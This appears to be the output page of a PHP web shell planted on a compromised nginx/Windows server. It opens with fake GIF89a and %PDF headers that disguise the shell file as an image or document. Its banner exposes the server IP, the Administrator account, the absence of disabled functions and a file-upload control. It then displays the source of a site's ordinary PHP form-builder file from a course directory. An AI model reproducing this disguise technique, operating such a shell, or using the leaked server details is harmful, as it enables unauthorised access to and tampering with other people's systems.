GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST2146/_Archive/_info/ |
Upload File : |
<? // infoForm.phpinc #$formFieldType = array('button','checkbox','default','file','hidden','image','radio','select','skip','text','textarea'); $formFieldType = array('button','checkbox','default','file','hidden','image','password','radio','select','skip','text','textarea'); include('infoMenu.phpinc'); include('infoForm_Query.phpinc'); ?> <? // BEGIN form definition. ?> <p> <table> <tr><td> <fieldset><legend>form definition</legend> <form action="<?=$_SERVER['PHP_SELF']?>" method="post" name="form_definition" id="form_definition" style="display:inline;"> <input name="f_form" type="hidden" value="form_definition" /> <input name="f_table" type="hidden" value="<?=$f_table?>" /> <input name="f_task" type="hidden" value="<?=$f_task?>" /> <? include('infoForm_FormQuery.phpinc'); include('infoForm_FormFieldSettings.phpinc'); include('infoForm_FormSettings.phpinc'); include('infoForm_FormPreview.phpinc'); include('infoForm_FormCode.phpinc'); ?> </form> </fieldset> </td></tr> </table> </p> <? #$debugOn = true; ?> <? /* * / $query="SHOW TABLES FROM ".$_SESSION['DB_DB']; $ShowTables_QueryField = 'Tables_in_'.$_SESSION['DB_DB']; $tableList = query_do($query,__FILE__,__LINE__); $tableCount = $_SESSION['mysql_num_rows']; if ($tableCount) { while ($tableRow = mysql_fetch_assoc($tableList)) { ?> <b><?=$tableRow[$ShowTables_QueryField]?>:</b> <? $query="SHOW COLUMNS FROM ".$tableRow[$ShowTables_QueryField]; $fieldList = query_do($query,__FILE__,__LINE__); $fieldCount = $_SESSION['mysql_num_rows']; if ($fieldCount) { mysql_data_seek($fieldList, 0); while ($fieldRow = mysql_fetch_assoc($fieldList)) { ?> <?=$fieldRow['Field']?> <? } } ?> <br> <? } } /* */ /* * / // $_GET echo "<p><span class = \"errorbold\">\$_GET=</span><br>\n"; ksort($_GET); foreach ( $_GET as $key => $value ) { if (!is_array($value)) { echo "\$_GET['".$key."']=".$value."<br>\n"; } else { echo "\$_GET['".$key."']="; print_r($value); echo "<br>\n"; } } // $_POST echo "<p><span class = \"errorbold\">\$_POST=</span><br>\n"; ksort($_POST); foreach ( $_POST as $key => $value ) { if (!is_array($value)) { echo "\$_POST['".$key."']=".$value."<br>\n"; } else { echo "\$_POST['".$key."']="; print_r($value); echo "<br>\n"; } } /* * / ?> <script type="text/javascript"> <? $query="SHOW TABLES FROM ".$_SESSION['DB_DB']; $ShowTables_QueryField = 'Tables_in_'.$_SESSION['DB_DB']; $tableList = query_do($query,__FILE__,__LINE__); $tableCount = $_SESSION['mysql_num_rows']; if ($tableCount) { ?> var tables = new Array(<?=$tableCount?>); <? while ($tableRow = mysql_fetch_assoc($tableList)) { echo "\t// ",$tableRow[$ShowTables_QueryField]."\n"; $query="SHOW COLUMNS FROM ".$tableRow[$ShowTables_QueryField]; $fieldList = query_do($query,__FILE__,__LINE__); $fieldCount = $_SESSION['mysql_num_rows']; if ($fieldCount) { ?> tables['<?=$tableRow[$ShowTables_QueryField]?>'] = new Array(<?=$fieldCount?>); <? $fieldIndex = 0; mysql_data_seek($fieldList, 0); while ($fieldRow = mysql_fetch_assoc($fieldList)) { ?> tables['<?=$tableRow[$ShowTables_QueryField]?>'][<?=$fieldIndex?>] = '<?=$fieldRow['Field']?>'; <? $fieldIndex++; } } } } ?> function tableOptions() { } /* * / // BEGIN Display javascript table array - for debugging. document.writeln('<p><h3>Display javascript table array - for debugging.</h3>'); document.writeln('<table>'); for (thisTable in tables) { document.writeln('<tr><td style="text-align:right; vertical-align:top"><b>'+thisTable+':</b></td><td>'); for (thisfield in tables[thisTable]) { document.writeln(tables[thisTable][thisfield]+' '); //thisTableFieldCount = thisTable.length; } document.writeln('</td></tr>'); } document.writeln('</table>'); // END Display javascript table array - for debugging. /* */ /* * / function listSelect_fieldtable() { } function elmName(){ document.writeln('<p><h3>List of Form elements - for debugging.</h3>') document.writeln('<table>'); document.writeln('<tr><td class="bold_info right_info">name</td><td class="bold_info">type</td><td class="bold_info">value</td><td class="bold_info">option</td></tr>'); for(i=0; i<document.forms[0].elements.length; i++){ eName = document.forms[0].elements[i].name; eType = document.forms[0].elements[i].type; eValue = document.forms[0].elements[i].value; document.writeln('<tr><td class="right_info">'+eName+'</td><td>'+eType+'</td><td>'+eValue+'</td><td>'+''+'</td></tr>'); //document.forms[0].elements[i].options[document.forms[0].elements[i].selectedIndex].text } document.writeln('</table>'); } function elmLoop(){ document.writeln('<p><h3>List of Form elements with info - for debugging.</h3>') document.writeln('<table>') var theForm = document.forms[0] for(i=0; i<theForm.elements.length; i++){ var alertText = "" elementType = theForm.elements[i].type if(theForm.elements[i].type == "text" || theForm.elements[i].type == "textarea" || theForm.elements[i].type == "button"){ alertText += "Element Value: " + theForm.elements[i].value + "\n" } else if(theForm.elements[i].type == "checkbox"){ alertText += "Element Checked? " + theForm.elements[i].checked + "\n" } else if(theForm.elements[i].type == "select-one"){ alertText += "Selected Option's Text: " + theForm.elements[i].options[theForm.elements[i].selectedIndex].text + "\n" } document.writeln(alertText+"<br>\n"); } } //listSelect_fieldtable(); //elmName(); /* */ </script>